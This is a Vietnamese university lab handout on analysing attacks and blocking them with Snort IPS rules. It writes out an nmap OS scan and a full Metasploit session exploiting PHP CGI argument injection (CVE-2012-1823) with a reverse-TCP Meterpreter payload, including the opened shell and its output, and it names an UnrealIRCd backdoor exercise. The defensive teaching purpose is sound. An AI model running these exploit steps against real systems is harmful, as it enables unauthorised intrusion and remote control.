4

Lab

Phân tích các tấn công và ngăn chặn bằng IPS

Thực hành

Hệ thống tìm kiếm, phát hiện và ngăn ngừa xâm nhập

A. TỔNG QUAN

A.1 Mục tiêu

- Phân tích các tấn công dựa trên file pcap thu thập được.
- Viết các rule cho Snort để ngăn chặn các tấn công (https://www.snort.org/documents#latest_rule_documents)
- Phân tích kết quả trước và sau khi triển khai rule.

A.2 Cài đặt môi trường

- Sử dụng môi trường đã cài đặt ở bài thực hành 02.
- Sử dụng **WinSCP** để tải các từ máy remote thông qua SSH. (https://winscp.net/eng/download.php)
- Công cụ **nmap** trên máy Kali Linux. (https://nmap.org/docs.html)
- Công cụ **metasploit** trên máy Kali Linux. (https://github.com/rapid7/metasploit-framework/wiki)

B. THỰC HÀNH

Trước khi thực hiện bài thực hành, sinh viên cấu hình địa chỉ IP cho card VMnet4 (*VMware Network Adapter VMnet4*) trên máy thật là 192.168.x.10/24. Tiếp theo, thử kết nối WinSCP đến máy Victim (sử dụng tài khoản của máy Victim).

Lưu ý: nếu trên máy thật không có VMware Network Adapter VMnet4 (trong ***Control Panel\Network and Internet\Network Connections***), sinh viên cần thực hiện cấu hình trong VMWare để tạo thêm VMnet4.

Sinh viên thực hiện bài thực hành với những yêu cầu bên dưới.

Yêu cầu 1.1 Ngăn chặn công cụ nmap dò quét thông tin hệ điều hành

- Trên máy ***Victim***, sử dụng **tcpdump** để bắt các gói tin tấn công từ máy ***Attacker***.

```
# tcpdump -i <interface> -w <ten-file.pcap>
```

- Sử dụng công cụ **nmap** dò quét thông tin về hệ điều hành của máy ***Victim***. Sau đó, kiểm tra kết quả.

```
# nmap -O <ip victim>
```

- Sử dụng công cụ **WinSCP** lấy file *pcap* đã bắt được, tiến hành phân tích và đưa ra phương pháp ngăn chặn việc dò quét của kẻ tấn công.
- Viết Snort rule để ngăn chặn tấn công. Rule Snort chỉ ngăn chặn việc nmap dò quét để lấy thông tin của Victim, không được chặn kết nối đến các port của Victim.
- Thực hiện lại tấn công sau khi cài đặt rule.
- Phân tích kết quả trước và sau cài đặt rule.

Yêu cầu 1.2 Ngăn chặn lỗ hổng PHP CGI Argument Injection[1]

- Trên máy ***Victim***, sử dụng **tcpdump** để bắt các gói tin tấn công từ máy ***Attacker***.

```
- # tcpdump -i <interface> -w <ten-file.pcap>
```

- Sử dụng công cụ **Metasploit** trên máy ***Attacker*** để thực hiện tấn công.

```
# msfconsole
```

- Chuẩn bị các tham số để tấn công.

[1] https://www.cvedetails.com/cve/CVE-2012-1823/

```
msf > use exploit/multi/http/php_cgi_arg_injection
msf exploit(php_cgi_arg_injection) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf exploit(php_cgi_arg_injection) > set rhost 192.168.0.200
rhost => 192.168.0.200
msf exploit(php_cgi_arg_injection) > set rport 80
rport => 80
msf exploit(php_cgi_arg_injection) > set lhost 10.81.0.100
lhost => 10.81.0.100
msf exploit(php_cgi_arg_injection) > set lport 4444
lport => 4444
```

- Thực hiện tấn công.

```
msf exploit(php_cgi_arg_injection) >
msf exploit(php_cgi_arg_injection) > exploit

[*] Started reverse TCP handler on 10.81.0.100:4444
[*] Sending stage (33986 bytes) to 192.168.0.200
[*] Meterpreter session 1 opened (10.81.0.100:4444 -> 192.168.0.200:51231) at 2021-05-04 23:37:37 -0400

meterpreter > shell
Process 5245 created.
Channel 0 created.
ls -l .
total 80
drwxrwxrwt  2 root     root      4096 May 20  2012 dav
drwxr-xr-x  8 www-data www-data  4096 May 20  2012 dvwa
-rw-r--r--  1 www-data www-data   891 May 20  2012 index.php
drwxr-xr-x  2 root     root      4096 Jul 14  2017 malware
drwxr-xr-x 10 www-data www-data  4096 Jul 20  2017 mutillidae
drwxr-xr-x 11 www-data www-data  4096 May 14  2012 phpMyAdmin
-rw-r--r--  1 www-data www-data    19 Apr 16  2010 phpinfo.php
drwxr-xr-x  3 www-data www-data  4096 May 14  2012 test
drwxr-xr-x  2 root     root      4096 Jul 12  2017 testmyids
drwxrwxr-x 22 www-data www-data 20480 Apr 19  2010 tikiwiki
drwxrwxr-x 22 www-data www-data 20480 Apr 16  2010 tikiwiki-old
drwxr-xr-x  7 www-data www-data  4096 Apr 16  2010 twiki
```

- Sử dụng công cụ **WinSCP** lấy file *pcap* đã bắt được và tiến hành phân tích phương pháp dò quét của kẻ tấn công.
- Viết Snort rule để ngăn chặn tấn công. Rule chỉ ngăn chặn tấn công, vẫn phải đảm bảo kết nối đến dịch vụ trên máy Victim.
- Thực hiện lại tấn công sau khi cài đặt rule.
- Phân tích kết quả trước và sau cài đặt rule.

Yêu cầu 1.3 Ngăn chặn lỗ hổng UnrealIRCD 3.2.8.1 Backdoor Command Execution

- Thực hiện tương tự các bước như ***Yêu cầu 1.2*** với lỗi hổng **UnrealIRCD 3.2.8.1 Backdoor Command Execution**[2].

[2] https://www.cvedetails.com/cve/CVE-2010-2075/

C. YÊU CẦU

– Sinh viên tìm hiểu và thực hành theo hướng dẫn, thực hiện **theo nhóm**.

Hình thực báo cáo

- Hình thức 1: Báo cáo tại lớp.
- Hình thức 2: Nộp báo cáo kết quả và nội dung chi tiết những việc (**Report**) mà nhóm đã tìm hiểu, thực hiện, quan sát thấy và kèm ảnh chụp màn hình kết quả; giải thích cho quan sát (nếu có).

Báo cáo:

– File ***.PDF***, tập trung vào nội dung, không mô tả lý thuyết.

– Đặt tên theo định dạng: **[Mã lớp]-LabX_NhomY.PDF**.

Ví dụ: [NT204.K11.ATTT]-Lab4_Nhom0.PDF.

– Nếu báo cáo có nhiều file, nén tất cả file vào file .ZIP với tên theo định dạng **[Mã lớp]-LabX_NhomY.ZIP**.

– Nộp file báo cáo trên theo thời gian đã thống nhất tại courses.uit.edu.vn.

~HẾT~